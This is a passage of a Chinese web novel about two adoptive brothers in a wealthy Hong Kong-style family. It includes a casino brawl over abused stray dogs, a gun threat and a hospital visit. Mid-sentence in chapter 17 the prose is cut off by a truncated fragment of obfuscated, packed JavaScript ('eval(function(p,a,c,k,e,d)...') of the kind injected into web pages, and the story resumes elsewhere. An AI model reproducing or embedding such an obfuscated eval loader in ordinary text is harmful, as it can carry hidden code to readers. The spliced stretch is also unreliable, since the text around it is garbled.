陈宗礼伸手摘下他的厚瓶底眼镜,头朝前,跟他几乎鼻尖相对:“但如果老太太知道,岚枫山新车神是你,你说她会不会惊讶。” “哦……原来这个古家来的小卷毛,还有两幅面孔。” 突然拉近的距离,陈宗礼对上陈一诺那双水灵灵的大眼睛。眼珠乌黑浑圆,明明是清澈的古灵精,却一眨一个鬼主意。 “你还会告状?”陈一诺被他盯得浑身不舒服,战术性后仰,拉开了彼此的距离。 他不害怕陈宗礼,但害怕老太太,因为看着她,会想起自己奶奶。 陈宗礼像是看穿了他的心思,上斜眼带着戏谑的笑意:“嗯,我告状怎么了?威胁人比什么手段都管用。” “不过,今天赛车的事,我不会跟她说。但下次,你要是再为了赢不择手段。我肯定告诉老太太。” “别看老太太看着挺慈祥,生气起来,可是很恐怖的哦~” 陈一诺愣了愣,没想到陈宗礼会放过自己,但语气还带着戒备:“你是说,这次就……算了?” “还没算完。”陈宗礼拿出手机,递给他一个二维码:“扫我!” 陈一诺拿出手机,眼睛里有防备,但还是将信将疑地扫了他。加上好友后,很快弹出一个5000元的转账消息。 陈宗礼收回手机:“呐,今天我俩的赌约两清。” “叫爸爸,你让庄嘉轩叫去,我没答应过……” 走之前,他还神秘兮兮说道:“答应我的事情不要再犯,让我抓到,后果自负!” 说完,无视陈一诺脸上的表情,大步离开更衣室。 16. 第十六章 那天的对话结束后,陈一诺和陈宗礼的聊天对话框,只有那笔转账记录。 但陈宗礼警告的话,却在他赛车时阴魂不散地在耳畔呢喃,让他好长一段时间没再乱飙。 结果,赛车时被“大飞”笑话:“那么年轻就专打养生局了。行不行啊小朋友……” 陈一诺嘴硬怼回去:“对上你们,养生局就够了。” …… 某天体育课,陈宗礼刚打完一场篮球赛,大汗淋漓地坐在操场旁石凳上。他头盖着汗巾,双臂抵住膝盖,汗水从额头滑落,一滴滴砸到地面,染成一个深色的圆。 庄嘉轩递给他一瓶水,自顾自地拧开水瓶坐在他身边。仰头喝水的时候,余光看了看球场外三三两两的女生,全带着倾慕的眼神。 陈宗礼一口气喝了半瓶,仰头露出下颌线,喉结滚动时候,场外女生一片尖叫。仿佛他喝水已经成了一个表演节目。 庄嘉轩用艳羡的目光,看着场外的观众,咂摸道:“哎,下次学校的慈善游园会,咱们班专门包一个教室。你呢,坐教室中间表演喝水。入场券一个人收几十块钱。也不用喝太多,每天限量喝8瓶!你每天喝足八杯水,她们看了帅哥,还筹了款,一举三得!” 陈宗礼睨了他一眼:“你这叫慷他人之慨。” “好说好说……”庄嘉轩嘿嘿笑着,目光瞥见在球场外经过的陈一诺,戴着眼镜,一如既往低头走路。 他手肘碰了碰陈宗礼,微抬下巴:“哎,我昨晚去岚枫山又遇见你弟了。他赛车的事,你没告诉老太太么?” 刚喝进去的水,在身体里做了个循环,转眼又成了汗。陈宗礼用汗巾擦了擦,哭笑不得。 “他是15岁,不是5岁。他就喜欢这个,你管他干嘛?” 庄嘉轩惊讶地看着陈宗礼:“不是,你真把他当弟了?他还赢了你呢?!” 意识到庄嘉轩话里带酸味的原因,陈宗礼挑眉:“赢就赢了,又不是输不起。” “怎么,你又输了?” 说起来庄嘉轩就气,手掌用力捏扁空瓶:“又赢我5千!” “我说不行,再比一场,他说对不起,后面还有等着输的呢。意思就是说,输给他还得排队……操!没见过小孩那么嚣张的。” “你呀,活该。”陈宗礼难得弯了弯嘴,眼前禁不住出现,赛场上陈一诺意气风发的模样。 “不过……”庄嘉轩的眼神闪烁着,“我可算知道,他赛车赚的钱都干嘛去了。” 他刻意的停顿,成功引来陈宗礼的好奇:“干嘛?” 庄嘉轩身体兴奋前倾,压低声音:“那天,比赛结束后,我看见他跟大飞去了赛车场后门……” “堕落街?”陈宗礼的声音变沉了些,上斜眼里带着警觉。 岚枫山赛车场的后门通往一条商业街,也是港城的红灯区,外人多叫它“堕落街”。那里品流复杂,藏着不少酒吧、网吧和KTV,还有一些灰色产业,总有古/惑/仔在那边打架抢地盘。 以前,庄嘉轩常在那里混,认识不少人。 庄嘉轩点头,告密道:“对,我就跟着上去看了眼,发现他们进了斗金!” “斗金?” 斗金,堕落街有名的地下赌场。 那时候,港城赌钱属于违法,zf也没有发放牌照建赌场。各大帮派为了赚钱,只能在“红灯区”做一些非法生意。斗金,就是其中之一。 18岁的庄嘉轩双手交叉,一脸严肃:“按理说,你们把他领养回家,肯定调查过,但这小孩比我玩得还野……” “你看啊,学校里装透明人,放学去飙车赚钱,赚钱以后干嘛呢——去赌场……他怎么能每回都那么出人意料呢?” 庄嘉轩这则八卦很劲爆,说着说着,浑身发热,他擦擦汗继续道。 “哎,你记得黄宇他们家么?” 黄家,十几年前也是四大家族之一。后来,因为黄宇赌博,顺风翻盘,一路输到家破人亡。 “他们家不也是干□□起家的?我感觉,家里做这种生意的多少有点赌徒DNA。你说,那小崽子家里做赛车□□的生意,车技就那么厉害,那赌术会不会也很厉害?” “他可能不止是车神,还是个赌神!” 庄嘉轩模仿电影里的“赌神”摸扑克牌的动作:“不如我们也去斗金看看?” 陈宗礼反问:“看什么?” “看看你弟有没有赌神风范啊!”庄嘉轩看热闹似的,撞撞他的肩,“你这个当哥的,赛车你不管,赌钱呢?管不管啊?” 陈宗礼看他一脸不怀好意,皱眉:“你到底输了多少钱?咬着他不放有意思?” 庄嘉轩被扎到心,“啧”了声:“关键是那小子实在是……太另类了。15岁的学生出入那种地方,太不像话……” “你小学没毕业就想当古/惑/仔/,你也挺不像话的……” 陈宗礼说完这句话,冷冷看了庄嘉轩一眼,没再说话。 彼此做了那么多年朋友,对太子爷的脾气再熟悉不过。在他面前可以口不择言,但不代表他没有边界。一旦触碰他心中重要的人和事,他就会开口警告。 让庄嘉轩感到疑惑的是,陈一诺在他心中的位置那么高了? 陈宗礼拿起喝光的空瓶,做了个标准的投篮动作,“Chua”地一声投入几米外的垃圾桶,完美命中。然后拿起校服,朝教室方向走。 庄嘉轩看着他的背影,叹了口气。他跟陈宗礼从小学一起长大,陈宗礼总是拥有高于同龄人的智慧和城府。他喜怒不形于色,喜恶也不形于色,像一团绚烂的迷雾,让人摸不着,猜不透。 这样神秘的人,现在又多了一个陈一诺。他喃喃:果然,不是一家人不进一家门。 庄嘉轩朝他喊道:“喂!那到底去不去啊?” 陈宗礼手指比了个“七”,意思是晚上7点。 旁边的同学被他喊声吸引过来,笑嘻嘻问:“去哪儿?轩哥!求带~” 庄嘉轩摸了摸寸头,随便应付道:“去~看~赌~神!” …… 晚上,陈宗礼换了一身休闲服,跟庄嘉轩在岚枫山赛车场碰面。 约定时间差不多,庄嘉轩穿了一身廓形西装,头上喷了摩丝,企图把短小的寸头硬抓成大背头。 陈宗礼上下打量他的打扮,掏出手机给他播了首《ACE In The Hole》——赌神出场曲。 “dadada……”音乐响起,庄嘉轩很受用地甩了甩西装下摆。 还朝他挑眉:“要不是我姐让我读书,古惑仔是我的第一志愿,赌神就是我的第二志愿。” 陈宗礼关掉音乐,一脸严肃看着他:“要不是你姐让你读书,你早就被砍死在外头了。” 说完,推着这位“赌神”,朝堕落街“斗金”赌场走去。 “斗金”门口站着几个古惑仔,染着五颜六色的头发,被保安拦在外面,说他们是未成年不让进。庄嘉轩人脉广,只点头打个招呼,就有人带他们进去了。 庄嘉轩不忘拉仇恨,指着那群五颜六色说:“未成年古/惑/仔也是未成年!不许来赌场,浪费时间又浪费钱!” 陈宗礼一脸无语地跟在他身后:“训导主任是你第三志愿吧?还挺积极阳光……” 庄嘉轩立马变了脸:“嘿!你这个提议不错,我今晚就加上。” …… “斗金”的门面是一家正儿八经的酒吧,进入灯光昏暗的负一层,才是真正的赌场。 赌场的整体布置跟合法赌场差不多:一排排老虎机,一张张圆桌,得体的荷官,以及让人沉沦的纸醉金迷。 这不是他们第一次来“斗金”。 他们成年之后,赌桌上的东西也成了一门课程,会用到商场应酬上,所以他们都要涉猎。但,仅限作为应酬手段,不允许沉迷,这是不成文的铁律。 “斗金”人多眼杂,陈宗礼又身份特殊,为了不惹麻烦,庄嘉轩提前打点进了一个包间。 包间灯光比大厅昏暗,但有落地窗,正好对准赌厅出入口,陈宗礼故意选了靠窗的座位,边玩□□,边守株待“卷毛”。 等了大概一小时,小卷毛终于出现。 进门时,依然是低配版本的打扮:厚瓶底眼镜,背着书包,低着头跟在古惑仔“大飞”和他的小弟身后。不知道的,还以为小卷毛是被大飞的霸凌对象。 “大飞最近成青城帮二把手了,这人不好接近的。陈一诺这小崽子来港城还不到三个月,怎么就跟他混熟了,不学好……” 庄嘉轩不知道什么时候放下手里的牌,也朝落地窗看了过来,对眼前的场景有些吃惊。 陈宗礼冷冷开口:“你就学好了?!丧彪、刀疤强……谁不是人手一把西瓜刀砍人的主?你不是全认识?” 果然,知道太多“黑历史”就是有弊端! 庄嘉轩悻悻道:“我错了行吧?!” 陈宗礼把实现挪回面前的牌桌上,修长的手指,一下下点着赌桌, 由于陈家的光环,从来都是别人想来巴结他,他鲜少费心去主动结识什么人。更别说是大飞这种“江湖儿女”。 他记得,上次在赛车场,陈一诺赛车赢了大飞的钱,估计他俩就是从赛车开始,一来二去认识的。 那么问题来了,小卷毛认识大飞,是偶然,还是处心积虑呢?如果是后者,陈一诺这么做的原因是什么?只是为了进赌场吗? 小卷毛身上的秘密,似乎比他脑袋上的卷毛还多…… 这时,一个服务生领着大飞和陈一诺一行人横穿赌厅,气势汹汹地往他们包间方向走来。 “操!怎么往我们这边来了?” 陈宗礼和庄嘉轩立刻转身,背对落地窗,装模作样地继续玩牌。 “砰——”一声响,他们踹开了旁边包间的门,庄嘉轩稍稍松一口气! 大飞指着包间里的人,熟门熟路地吼道:“除了长(Chang)毛,不相关的人滚!!” 赌客和荷官从包间陆陆续续跑出来,房间只剩下那个叫“长毛”和他的几个小弟。 “嘿!长毛哥正六连胜呢!你们谁啊,过来搅局!” 他们纷纷站起身,跟大飞两拨人相互顶着,互不相让。 大飞搂着陈一诺的肩膀,对他们说:“我是青城帮大飞,今天给弟弟出气!” 青城帮在“堕落街”的势力是出了名的。在这里混的,谁不知道青城帮二把手大飞哥。 几个小弟眼里透出犹豫,长毛却丝毫不惧,他叼着烟,眼神猥琐:“大飞哥,我不认识你弟,不过……我前几天在凤兰楼,把一个小男孩操/瘸了……不是他吧?” 声音难听,话也难听。 大飞这边像约定好似的,没再说什么。由着陈一诺面无表情地上前一步。 “放心,我也不认识你,只是想让你看看这段视频。” 他点开手机,里面正播放一段监控摄像。一个长发男人用点燃的 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长毛瞪了他一眼,轻笑着问:“什么意思?现在用玻璃瓶砸墙发泄一下情绪,犯法吗?” “砰——”一声巨响,长毛就被陈一诺突如其来的一个侧踢,把人和赌桌同时踹倒。房间内传出一声巨响,桌上的扑克牌、筹码、啤酒瓶,丁零当啷掉了满地。 所有人都没想到,陈一诺看着个头不高,小小年纪,这一脚的爆发力居然如此惊人。 长毛捂着胸口,一脸狼狈,他嚷:“小兔崽子,他妈疯了!!” 陈一诺二话不说,坐在他身上,掐住他脖子,用手机怼他脸,呼吸声很重:“你好看看!你用酒瓶砸的是墙吗!” “你他妈砸的是狗!!你这个人渣!!!”说罢,摔开手机,毫无理性地朝长毛的门面一拳拳砸落。 手机被丢到一边,视频的声音放到最大,除了骂声和玻璃声,还能听见狗的哀嚎声。 长毛被一拳拳揍得眼冒金星,但他经验丰富,趁陈一诺不注意,伸手抓住地上一个啤酒瓶,整个敲在陈一诺头上。 “嘭——”一声,玻璃碎和酒液,漫天开花。 陈一诺只觉得眼前出现一片眩晕,紧接着,他被长毛抬脚踹开。他这脚力度很大,陈一诺飞出去的刹那以为自己要升天。 眩晕感消失的同时,他像一滩肉,被撞在墙上,二次撞击,令他爬倒在地毯上,疼得直冒冷汗,动弹不得。被啤酒瓶敲过的地方,流下了黏糊糊的液体,染红了他的视线,看上去比长毛伤得还重。 长毛拿着缺口的玻璃瓶,站起身,一脚“咔嚓——”,踩碎了厚瓶底眼镜。 他左眼被揍得肿起,对着陈一诺咬牙切齿:“去你妈的神经病!今天让爸爸好好教你这个狗娘养的小杂种!!” 说完,举着缺口的玻璃瓶直接往陈一诺的眼睛刺过去。对方的速度太迅猛,陈一诺根本没有闪躲的机会,他闭上眼不敢看…… 完了。 他不用戴眼镜了,他要瞎了…… …… “咔哒——” 预料中的疼痛没有到来,陈一诺颤抖着睁开眼,视线里出现了一柄枪,而枪口正抵着长毛的额头,他手上缺口的啤酒瓶,则停在半空。 长毛虽然被枪指着,嘴上依然不干净:“你他妈谁啊!关你什么事?!” 陈一诺以为拿枪的是大飞,结果头顶传来熟悉的声音:“他是我弟!你说关不关我事?” 陈宗礼??陈一诺以为自己被砸傻了,不敢相信。 长毛啐了口唾沫:“他怎么那么多哥啊,你又是什么来头?怎么敢带枪!” “斗金”不允许带武器,进门要搜身,这是规矩。 没想到,对方笑笑,手指放在扳机上:“想听原因,你就得死在这儿,还想听吗?” 他的话没有语气,却有浓烈的恐吓性。他对身后的人说了句:“先把人拉走。” 一个西装从他身后跑到陈一诺身旁,问道:“小崽子,能走吗?” 陈一诺用染血的眼睛一看,是梳着油头的庄嘉轩。那拿枪的人,真的是陈宗礼。 他虚弱地点点头,被庄嘉轩架着肩膀站起身,他半边脸都是血,跟陈宗礼相互对看了一眼。他从没见过陈宗礼表情如此严肃。 他跟着庄嘉轩离开包间,背后传来长毛的辱骂声…… 庄嘉轩赶紧拉着陈一诺离开“斗金”,一路带到车上安顿好,才放心。 陈一诺心里忐忑,拽着庄嘉轩的衣袖:“庄少,你快回去看看我哥!” 赌场里面全是古惑仔,陈宗礼一个人在里面,他不放心。 庄嘉轩翻了个白眼:“现在知道担心你哥了?我那么想当古惑仔的人,都不敢一个人来斗金!你倒好,一个未成年人来寻仇!你怎么不考虑考虑后果??” 无论是古一诺,还是陈一诺,他父母双亡,家道中落,他总觉得自己的命不值钱,他可以不在意后果。 可陈宗礼不一样啊!他是四大家族的陈宗礼!陈家嫡孙!他怎么能去冒这个险? 他心里内疚,手指把衣服下摆捏得皱巴巴。 看着平日在赛车场上耀武扬威的陈一诺,此时满脸血,浑圆的眼睛蒙了一层湿漉漉的雾,那模样,庄嘉轩心也软了。 一手把他按在座位上,语重心长:“放心吧!你哥没那么弱!” “他在里面替你报仇呢……” 17. 第十七章 二十分钟后,车门再次打开。 开门的瞬间,陈宗礼敛着眼眉,目光先找寻陈一诺,血迹覆盖半张脸,眼周、嘴角都有大大小小的淤青,头发有些潮散发着淡淡的酒味,如果细看里面兴许还有玻璃渣。那萎靡的模样,让他想起被长毛虐待的小狗。 虽然受了伤,对上陈宗礼目光的瞬间,陈一诺声音还是努力直了后背,怯生生地叫了声:“哥……” 陈宗礼看着他,没说话,庄嘉轩走过来问:“搞定了?” 陈宗礼点头,“那就好”,庄嘉轩拍拍他的肩膀:“小孩吓死了,你安慰一下吧,我坐自己车。” 陈宗礼压抑着情绪上车,坐稳后沉声跟司机说:“去医院。” 车缓缓驶出“堕落街”,车内是陈宗礼撕开包装的声音,沉如墨的眼睛瞥了眼陈一诺,命令道:“头过来。” 知道陈宗礼在生气,陈一诺哪敢说不,那颗被啤酒瓶敲破的脑袋,慢慢歪向陈宗礼。 这是陈一诺第一次示弱,也是陈宗礼第一次摸上那头小卷毛。跟想象中的差不多,手感很软和,像堂妹陈宗瑜床上的毛绒公仔。要是上面没有啤酒和黏糊的血,以及玻璃渣,就更好了。 想到这里,心底刚压住的火又慢慢往上翻。按在头上的力度都忍不住大了些许,引得陈一诺发出“嘶……”的声音。 “忍着!” 陈宗礼回应冷漠,“窸窸窣窣”地打开保镖买的消毒酒精和纱布,给陈一诺简单处理伤口。 太子爷清创技术算不得娴熟,加上心里有气,用是酒精清洗伤口的时候,可以说毫不留情。陈一诺只能咬牙硬抗,一排小白牙咬得下唇毫无血色。 陈宗礼看他双手青筋暴起,紧紧攥住裤子,手上力度才减轻20%,开口问他:“视频里面的狗,后来怎么样了?” 本以为陈宗礼会问,为什么去赌场,为什么那么不自量力去找人寻仇…… 万万没想到,陈宗礼最先问那些被虐待的狗……他的注意力,立刻从脑袋的疼痛转移。 “周老板发现得及时,第一时间送去宠物医院。虽然脱离生命危险,身上还是有不少玻璃划破和火烧伤的地方,要修养一段时间。” 说话时,他那双灵动的眼睛,少有地暗淡下来,像蒙了灰的玻璃珠。 陈宗礼有些不解:“每天都有人虐狗虐猫,你都要挨个去报仇吗?” 陈一诺忍着疼:“小白和小黑不一样……”怕对方听不明白,补充道,“就是被救的两只。” “我刚来赛车的时候,就见过它们。周老板告诉我,他们是附近的流浪狗,喜欢在餐厅或者堕落街的垃圾站附近捡吃的。” “来这边赛车的人,有的素质不行,输了钱,心情不好就拿它们出气。它们都挺怕人的。” “有一回,欺负它们的人,正好是大飞手下,我就跟他们赛车,如果输了,就不能再欺负狗。后来,当然是他们输了。大概觉得没面子,又找大飞帮忙他们出气,结果也输了。” “从那以后,在赛车场欺负它们的人少了。也越来越多人找我赛车。有的玩钱,有的不玩。赢了钱,就存在周老板这里,给附近的流浪猫狗看病,买狗粮猫粮……我也没能力养它们,只能做到这步了。” “没想到,那天它们跑去堕落街,遇到那人渣……” 陈一诺低着头,声音越说越低,听得人心里发酸。 本以为他赛车是为名,用赛车赚钱是为利,那些世俗的揣测,全被推翻。小孩做的一切,仅仅是出于对动物最质朴的关爱……陈宗礼手上的力度减掉20%。 手上轻了,重话还是要说。 “他是人渣,你是真傻!一个十几岁的小孩,不管不顾地找人算账!那个长毛你都打不赢,他旁边的小弟如果一起上,你不但脑袋开花,还可能断了腿瞎了眼,你就成了那只被虐的狗了!” 陈一诺声音有些哽咽,反驳道:“知道我自己势单力薄!可是……它们只有我了呀……” “我们都是弃犬,居无定所,无依无靠,除了我还有谁能替它们出这口气?” 或许是气糊涂了,或许是疼糊涂了,陈一诺脱口而出一个“我们”,我们都是弃犬…… 陈宗礼恍然,手上的动作又再轻了30%,几乎变成了羽毛般的温柔抚摸。 身旁的小卷毛才15岁,父母不在后,只有奶奶肯抚养,可是奶奶过世后,只能离乡别井到了陌生的港城。自我代入下,难免有被遗弃的感觉。 会心疼这些流浪猫犬,会替它们报仇,原来是物伤其类。 陈宗礼收起责备的语气,耐心道:“谁说你是弃犬了,你不是我家的吗,陈一诺?” “你有家,也有哥替你出气,再不济还有庄少。”陈宗礼压低声音,说秘密似的,低声在他耳边说,“他当过古/惑/仔……” 他拍拍陈一诺的肩膀,示意他药上好了。 陈一诺抬起头,血混着眼泪,黏在脸上有些吓人。陈宗礼皱着眉,抽了几张湿纸巾,替他自己擦脸。 擦了几下,被血糊住的视线清明了许多,陈一诺能看见陈宗礼那张棱角分明,不苟言笑的脸,很想象刚刚那些话,从他嘴里说出来。 陈一诺视线慢慢下移,刚刚低头没看到,此时终于发现,陈宗礼手指关节带了伤。 以前在古家,他早习惯了为蝇头小利就大乱斗的亲戚,跟他有血缘关系的亲哥,也只会揍他,防着他。 他跟陈宗礼明明非亲非故,之前还嚣张地赢了他,用伪装的方式骗过他,但他嘴里居然说出:你有家,也有哥替你出气…… 陈一诺鼻尖顿时一酸,眼眶控制不住地又红了。 他用转移话题,转换自己的情绪:“你怎么还有枪……” 陈宗礼淡淡道:“防身用的,平时很少用,为了你才拿出来的。”怕陈一诺愧疚,轻松道,“等你以后学会了,也给你做一把。” 陈一诺艰难地扯出一个微笑,又问:“长毛……你把他怎么样了?” 给陈一诺简单处理完伤口,陈宗礼开始处理自己手上的伤。 他淡定道:“能怎么?法治社会不好打打杀杀。” 骗人!没动手,他的手是怎么受伤的? 陈一诺想追问,车慢慢停下了。他往外一看,车停在了医院——思域私人诊所。 他记得,这是天峻集团旗下号称“有钱都未必能进”的高端私人医院。 …… 陈一诺从车上下来,已经有医生和推着轮椅的护士候着了。阵仗相当吓人。 陈宗礼对医生吩咐道:“麻烦你们了。” 医生点头:“放心交给我们吧。” 他们简单处理好陈一诺的伤口后,推着他在不同科室穿梭,一套身体检查做完,已经过去两小时。 身体报告出来后,陈宗礼跟主治医生聊他的检查报告,让庄嘉轩把他推去后花园透透气。 这家医院的后花园,布置精巧堪比古时候的御花园,五步一景,景景不同,连参差错落的花,选的都是应季盛开的,在大自然温柔包围下,确实有助病情。 陈一诺看着让人心旷神怡的景致,谁能想到几小时前,他还在斗金跟古惑仔打架…… 庄嘉轩坐在长椅上,掏出烟,自顾自抽起来,他眯眼看着身旁这个小崽子,心情复杂。刚刚他去检查的时候,陈宗礼把他去赌场的来龙去脉大致说了。 他以前出来混,为兄弟两肋插刀“洒洒碎”,但这小崽子却是为小动物两肋插刀,不但赚钱养活它们,还替它们出气。讲义气的人,最敬佩比自己更讲义气的,一时间对陈一诺180度大转变,居然不知道说什么…… “庄嘉轩……”小崽子突然先说话,把他吓他一跳。 他皱眉:“啧,小兔崽子,我还比你大!喊我全名合适吗?” 陈一诺搓搓鼻子,他一个“哥”字很珍贵,总觉得庄嘉轩不够格,只能叫他全名。 “你知道我哥把长毛怎么了嘛?我刚问他,他不肯告诉我。” 从陈宗礼嘴里没问出来,他只能换个人问问。 庄嘉轩手惯性想摸一摸自己的寸头,可为了模仿赌神,头上弄满了发胶,上手就黏黏的,手感不好,只能作罢。 “得罪陈宗礼的人,我就没见过有好下场的。” 他的烟搭在膝盖上,眉飞色舞:“我送你上车的时候,他给长毛的脑袋也敲了一个啤酒瓶。照你受伤的地方揍了几拳。” “查到他自己开了家汽修店,找人砸了几台车,算赔给狗狗的医药费……就这样。” 就这样,三个字,说得轻描淡写,实际上,全是陈宗礼的“以牙还牙”。 以前,陈一诺觉得“英雄救美”太俗套、太狗血了,可身在其中,还是被救的那位,陈一诺生平第一次觉得悬着的心被什么托着,后来慢慢他才反应过来,这叫安全感。 这时,庄嘉轩突然从长椅上站起,把烟藏在身后,毕恭毕敬喊:“陈奶奶,您来了。” 陈一诺顿时身体僵直,转头朝庄嘉轩喊的方向看去,局促地从轮椅上起身,喊道:“奶奶……” 陈宗礼遗传了老太太的一双上斜眼,听说,老太太年轻时特别威严,年纪大了以后才温和些许。 今天,她一袭深蓝直筒连衣裙,珍珠耳环首饰,低调又透着威严,让人五官都舒展不开。 老太太身边站着陈宗礼,他受伤的手被纱布缠得像个粽子,看来似乎不止擦伤那么简单…… 当然,陈一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊,不是,要打就打我,别打我哥……” 慌乱中,陈宗礼怕老太太误伤陈一诺,伸手护着他脑袋的伤处,抢在前头说道:“是我不对,我不应该带他玩赛车,害他撞车手伤。我们以后再也不玩了……” 陈一诺不明所以地看着陈宗礼,有些疑惑,为什么说他们的伤是撞车?却不提狗和长毛的事。 陈宗礼朝他使了个眼色,意思是:不该说的别说! 陈一诺知趣地闭了嘴,只低头挨打,老太太对着陈一诺下不去手,打了几下,就收起了“霹雳掌”。 打得有点疼,她活动活动手指,手上的祖母绿戒指,贵气逼人。 她收敛情绪,上下打量着两兄弟,冷声道:“你们兄弟关系倒是好!” 锐利的目光扫向旁边的庄嘉轩:“你也去了??” 庄嘉轩被老太太刚刚的举动,吓得直冒冷汗,连忙怯生生回复道:“我……我也去参观参观……” “你以前当古惑仔,被抓去警局的时候,也说去参观参观……没句实话!” 她指着面前三个人,冷声道:“你们三个,以后都不许去赛车!听到了没有!太危险了!!” “还有,每人回去写3000字检讨。我要看事情经过和你们反思!晚上交!” 还要写检讨??庄嘉轩犯难了,嘀咕道:“奶奶,我去参观……也要写啊!” 陈老太冷着脸:“写,写你参观的心路历程!” “行了,回家吧。” 庄嘉轩像太监似的,喊了个:“喳!” 接着,扶着老太太的手往外走,从后面看,真像老福爷和李莲英。陈一诺和陈宗礼落在后面,他拽着陈宗礼的衣袖问:“哥,你没事吧?对不起啊,让你挨打了。” 陈宗礼垂眸看着陈一诺,逗他:“说了老太太发起火来很吓人吧,看你以后敢不敢。” 陈一诺点头说不敢了,接着问:“你为什么不说实话?” 陈宗礼捧着受伤的手,老神在在:“你可以不去岚枫山赛车,但你不能不管那些小动物吧?” 陈一诺瞬间明白了陈宗礼的意图,鼻子忽地一酸,他都没想到这一步,陈宗礼居然全都考虑到了。这下欠他一个大人情,不知道以后怎么还。 陈一诺喃喃:“确实……谢谢哥。” 陈宗礼故意忽略他内疚的情绪,撞着他的肩膀逗他:“你如果过意不去,实在想谢我,就帮我把3000字检讨写了。” 陈一诺立刻应允:“没问题!” 陈宗礼得寸进尺:“我为了救你,作业还没写……” “我帮你写!” 他的眼镜摔碎在“斗金”,没有镜片的阻挡,那双灵动浑圆的眼眸,明亮亮地看着自己。像只忠心耿耿的小狗。 陈宗礼心头一软,收回视线逗他:“你会写吗?年级排名50的学弟……” 陈一诺的鼻梁有伤,贴着止血贴,他摸着鼻尖,有些窘迫:“答应帮你写,没答应帮你写对……” 陈宗礼没忍住笑了笑,轻轻揉了揉他的头发。 “行吧,回家!” 18. 第十八章 “一诺,回去了。” 愣神的陈一诺抬眼,看向车内的王之初。他握住轻微发抖的手——太久没抓方向盘,因为比赛产生的肾上腺素余韵迟迟未退。 上车后,他跟王之初说:“不回酒店,去堕落街。” 王之初比陈一诺更清楚港城的变化,他提醒道:“堕落街早就改建了,现在叫岚枫街。” 陈一诺无奈点头:“行,就去岚枫街!” 王之初看看时间,折腾了一晚接近10点了,他说:“那么晚去那里干嘛?回忆青春往事?” 自从他们不再赛车,陈一诺很少来堕落街。偶尔去岚枫山赛车场,也只是找小狗玩,把钱给周老板,拜托他好好照顾小猫小狗,就匆匆离开了。 兴许是今天发生的事太多。上辈子的记忆,一浪接一浪地冲击着他的大脑,让他紧绷的理性,突然断了弦。 陈一诺笑自己感情用事,揉了揉头发:“来都来了,去看看吧。” 来都来了。这真是好有道理的废话。王之初无法反驳,只能改方向去岚枫街。 …… 近几年,港城致力打造国际化旅游城市,坐拥国际赛车场的岚枫山,被打造成看赛事、悠闲、娱乐于一身的岚枫山度假区。 位于岚枫山山脚的“堕落街”自然在改造范围内。那条连接赛车场的小道,被重新修葺。入口处的牌坊写着三个大字:岚枫街。 昔日的酒吧、网吧和KTV全部消失不见,街道干净整洁,两旁的欧式建筑满是咖啡厅和不同国家的餐厅,让人误以为走在国外。 走在街上也不再看见游手好闲的古/惑/仔。倒是不少野猫摊在路中央,撒娇卖萌晒月光。 正直周末夜晚,男男女女在街上拍照、闲逛、撸猫,一派人与动物和平共处的祥和状态。 陈一诺和王之初入乡随俗,融入撸猫大潮,路中央的一只三花完全不怕人,手伸出来,它就摊成猫饼露出肚皮让人摸。 王之初感慨:“之前还有新闻报道,这里整改以后,帮派老大抓的抓,跑的跑,树倒猢狲散,古惑仔失业只能靠卖盒饭谋生。” “这里的猫猫狗狗倒成了网红,不少朝九晚五的白领,周末专门过来撸猫撸狗,发泄情绪。” 陈一诺的手指在猫咪下巴挠了挠,一边觉得稀奇,一边觉得难以置信:“证明猫猫狗狗的地位上升了。” 王之初不会撸猫,不小心把猫咪惹毛了,差点被挠。他后退一步,揣手不摸了。 “还是庄嘉轩运气好。当年他想退学去当古惑仔。他姐拎着他到圣保罗教学楼的天台。让他对着全校师生大声说,他从今天起跟庄家一刀两断,去当古惑仔!” “庄嘉轩当时站在天台边缘,看着楼下黑压压的人,纠结着好久,最后还是妥协回学校念书。不然,他也得去卖盒饭。” 这是陈一诺入学前的事,但他能想象庄嘉轩的窘迫。他笑道:“有嘉瑶姐在,他哪敢跟家里一刀两断。” 王之初扶着眼镜:“以前,我这个独生子女就特别羡慕你们,我也想有个姐,有个哥……” 说到“哥”,想到陈宗礼,他又改了口:“还是姐吧,兄弟太容易相残,我还打不过。” 陈一诺笑他:“怂……” “对对对,像你跟只斗犬似的,为了赢,命都不要才不算怂!” 陈一诺当王之初的奚落是耳旁风,他走到某处突然停下。 王之初碰他的手肘:“怎么不走?” 明明是“斗金”的原址,面前却出现了一个公园。公园的拱门顶上写着:日进公园。 他指着门牌,有些匪夷所思:“这里原来是地下赌场,现在成公园了?” 改造后,工作原因王之初来过几次,他背着手带陈一诺往里走。 “岚枫街本打算建成度假区里的一条商业街。但是有市民投诉,太商业化对当地市民不友好,所以希望政府增加公共空间。所以政府保留了两块地做公园。” “这个公园是其中一块,但它比较特殊,是民间资助的。” 他们进公园后左拐,走了大概15分钟,眼前出现一扇白色镂空铁门,铁门内是一幢浅绿色小洋楼,洋楼两侧分别是两排平房,里面不时传来狗吠的声音。 铁门旁挂着一个木牌:日进宠物救助中心。上面分别印了一个猫爪子和狗爪子。 陈一诺的视线怔了怔,王之初继续道:“民间资助这个公园时,对政府提的唯一要求,就是公园必须留一块地做宠物救助中心。” “当时怕扰民,又怕影响公园游览,光是设计方案过了好几轮,跟政府的听证会都去了好几次,折腾了一年,才建成。” “我们刚刚在路中央看到的动物,饿了病了,都会送来领养中心。没事就遛出来玩。没想到,慢慢成岚枫山的景点。” 陈一诺心中有个猜想,他问:“那个民间资助,是……” 王之初脱口而出:“天峻。太子爷牵头的,没想到吧。” “这个项目还是天峻跟我大学同学的建筑事务所合作的。所以我知道一些内情。” 上辈子的陈一诺,完全不知道陈宗礼建了一个宠物救助中心。 陈一诺生气道:“你怎么不告诉我?!” 王之初愣了,搞不懂他生气什么? “嘿,你们那时水火难容,听见他的名字都要发火,我告诉你这个干嘛?让你也争着建一个?我有病么。” 陈一诺不耐烦地说道:“你根本不懂!” 根本不懂,这个宠物救助站的想法,明明是他先想到的! …… 当年,跟老太太保证不赛车后,陈一诺瞬间没了“收入”。纠结了几天,他只好找陈宗礼…… 当时,陈宗礼正在书房看书,陈一诺肩上披着史努比毛毯,怯生生站在他面前。 距离他们第一次见面,仅仅过去几个月,陈一诺已经长高了不少,像春天抽芽的小树苗,昂扬,修长。 他放下书,揉了揉鼻梁问:“怎么了?” 